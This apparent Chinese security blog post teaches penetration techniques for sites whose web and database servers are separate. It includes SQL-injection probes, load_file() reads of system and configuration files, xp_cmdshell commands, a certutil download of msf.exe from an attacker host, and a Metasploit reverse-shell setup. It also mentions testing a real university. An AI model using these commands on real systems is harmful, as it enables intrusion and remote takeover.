站库分离常规渗透思路总结

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


做为一名业余的渗透测试爱好者也是要挣钱生活的,这不刚出去搬了两天砖,回来就想着给大家更新文章了,所以希望大家能够以帮助点击分享、赞、在看以及广告的方式给予一点支持,也好让我有坚持下去的信心,谢谢!

0x01 前言

@Keefe老哥写的“关于站库分离渗透思路总结”一文总结的非常好,正好最近帮朋友@Sin测试泰国某大学时遇到一个MSSQL站库分离案例,就索性将这些常用的方法都重新测试了一遍。在经过原作者同意后根据他的这篇文章自己重新整理了这么一篇,并配上测试图片,便于日后查询,文中大部分内容还是摘自Keefe老哥博客,笔者在这里只是补充了一些方法和思路。

0x02 何为站库分离?

站库分离其实就是管理员将网站程序和数据库分别放在了不同的内网服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据。

这种情况大多出现在内网环境,不过也有少部分管理员会使用公网数据库,如:自建公网数据库、Amazon/阿里/腾讯/华为RDS云数据库等,并设置允许连接该数据库的白名单IP地址。
站库分离常规渗透思路总结


0x03 站库分离渗透入口

(1) Web入口渗透

通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透。


(2) Data入口渗透

从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们。


通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透。


0x04 站库分离判断方法

(1) 网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态,可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器。

netstat -ano | findstr "1433"

站库分离常规渗透思路总结


(2) 数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外。

站库分离常规渗透思路总结


(3) MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port。

select @@hostname;                                 //服务端主机名称select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

站库分离常规渗透思路总结


也可以通过load_file()这个内置函数读取一些敏感文件,如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等。
select load_file('C:/Windows/System32/drivers/etc/hosts');
/etc/hosts/etc/apache2/apache2.conf/etc/httpd/conf/httpd.conf/etc/udev/rules.d/70-persistent-net.rules //获取网卡名称/etc/network/interfaces //DHCP或静态IP/var/lib/dhclient/dhclient--网卡.lease //DHCP/etc/sysconfig/network-scripts/ifcfg-网卡 //静态IPC:/Windows/System32/drivers/etc/hostsC:/Windows/system32/inetsrv/MetaBase.xmlC:/Windows/System32/inetsrv/config/applicationHost.configC:/phpStudy/Apache/conf/httpd.confC:/phpStudy/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/Apache/conf/httpd.confC:/phpStudy/PHPTutorial/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/nginx/conf/nginx.confC:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf[...SNIP...]
站库分离常规渗透思路总结

(4) MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器。

select host_name();                       //客户端主机名称select @@servername;                      //服务端主机名称select serverproperty('MachineName');     //服务端主机名称
站库分离常规渗透思路总结

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息。

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址。
select name from master.sys.sysdatabases;select * from master.sys.sysprocesses where dbid= db_id('sqlinject');exec master..xp_cmdshell 'cmd /c ping WIN-111111111';
站库分离常规渗透思路总结

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器。
and exists(select * from news where 1=(SELECT (case when host_name()[email protected]@servername then 1 else 0 end)))
站库分离常规渗透思路总结

0x05 站库分离利用思路

(1) 下载远程文件

目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可。

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exeC:ProgramDatamsf.exe
站库分离常规渗透思路总结

(2) 执行远程Payload

目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷。

set target 1set payload windows/x64/meterpreter/reverse_tcpset lhost 155.**.***.229set lport 443exploit
站库分离常规渗透思路总结

(3) 模拟令牌权限提升

笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌。


在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌。


支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等。

C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109-E
站库分离常规渗透思路总结


0x06 参考链接

  • http://aiyuanzhen.com/index.php/archives/247

只需在公众号回复“HackTheBox”关键字即可领取一套HTB靶场的学习文档和视频,你还在等什么???




【往期TOP5】
星外虚拟主机提权实战案例
MSSQL绕过360提权实战案例
绕过360安全卫士提权实战案例
记一次因“打码”不严的渗透测试
TP-RCE绕过阿里云防护Getshell



站库分离常规渗透思路总结
站库分离常规渗透思路总结  如果对你有所帮助,点个分享、赞、在看呗!站库分离常规渗透思路总结

本文始发于微信公众号(潇湘信安):站库分离常规渗透思路总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: